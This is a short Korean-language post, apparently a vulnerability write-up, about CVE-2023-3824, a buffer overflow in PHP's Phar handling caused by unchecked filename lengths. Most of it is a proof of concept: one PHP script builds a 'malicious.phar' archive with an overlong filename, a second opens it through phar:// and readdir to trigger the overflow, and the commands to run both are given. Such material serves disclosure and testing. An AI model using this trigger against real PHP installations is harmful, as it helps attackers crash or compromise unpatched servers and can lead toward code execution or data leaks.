
PHP Phar 파일의 취약점으로, 버퍼 오버플로우로 인해 발생하며, Phar 아카이브 내 파일 이름의 길이 검사가 충분하지 않기 때문에 발생합니다. 악의적인 공격자는 긴 파일 이름을 가진 Phar 파일을 조작하여 버퍼 오버플로우를 유발하고 악성 코드 실행 또는 데이터 유출 가능성을 초래할 수 있습니다. 이 취약점은 코드 실행에 악용될 수 있습니다. CVE-2023-3824
이 개념 증명(PoC)은 PHP에서 악성 Phar 파일을 생성하고 버퍼 오버플로우 취약점을 트리거하는 방법을 보여줍니다.
create_phar.php)을 생성하고 다음 코드를 추가합니다:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
PHP 스크립트를 실행하여 악성 Phar 파일을 생성합니다: 코드 복사
php create_phar.php
다른 PHP 파일(예: trigger_overflow.php)을 생성하고 다음 코드를 추가합니다:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
PHP 스크립트를 실행하여 버퍼 오버플로우를 트리거합니다: 코드 복사
php trigger_overflow.php
var_dump($x) 문은 버퍼 오버플로우 및 오버리드 작업의 결과를 출력합니다.